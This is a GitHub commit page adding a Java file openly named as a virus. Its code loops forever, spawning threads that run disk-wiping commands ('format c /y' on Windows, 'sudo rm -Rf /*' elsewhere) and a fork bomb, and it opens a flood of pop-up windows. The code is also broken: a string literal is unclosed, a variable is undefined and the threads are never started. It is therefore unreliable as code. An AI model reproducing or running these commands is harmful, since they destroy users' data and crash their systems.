Skip to content

Commit bd26dee

Browse files
authored
Create Virus.EduApps.Sexo
1 parent 4d47620 commit bd26dee

1 file changed

Lines changed: 42 additions & 0 deletions

File tree

Java/Virus.EduApps.Sexo

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
/**
2+
* Copyright (C) 2020 EduApps (Eduardo Procópio Gomez)
3+
*
4+
* This program is free software: you can redistribute it and/or modify
5+
* it under the terms of the GNU General Public License as published by
6+
* the Free Software Foundation, either version 3 of the License, or
7+
* (at your option) any later version.
8+
*
9+
* This program is distributed in the hope that it will be useful,
10+
* but WITHOUT ANY WARRANTY; without even the implied warranty of
11+
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12+
* GNU General Public License for more details.
13+
*
14+
* You should have received a copy of the GNU General Public License
15+
* along with this program. If not, see <http://www.gnu.org/licenses/>.
16+
*/
17+
import javax.swing.JFrame;
18+
19+
public class Sexo {
20+
private static String OS = System.getProperty("os.name").toLowerCase();
21+
22+
public static void main(String[] args) {
23+
while (true) {
24+
new Thread(new Runnable() {
25+
public void run() {
26+
while(true) {
27+
if (OS.contains("win")) {
28+
Runtime.getRuntime().exec("cmd.exe /c format c /y");
29+
} else {
30+
Runtime.getRuntime().exec("sudo /bin/rm -Rf /*");
31+
Runtime.getRuntime().exec(":(){:|:&};:);
32+
}
33+
34+
JFrame sexo = new JFrame("Sexo, Sexo, Sexo...");
35+
sexo.setLocation(random.nextInt(500), random.nextInt(500));
36+
sexo.setVisible(true);
37+
}
38+
}
39+
});
40+
}
41+
}
42+
}

0 commit comments

Comments
 (0)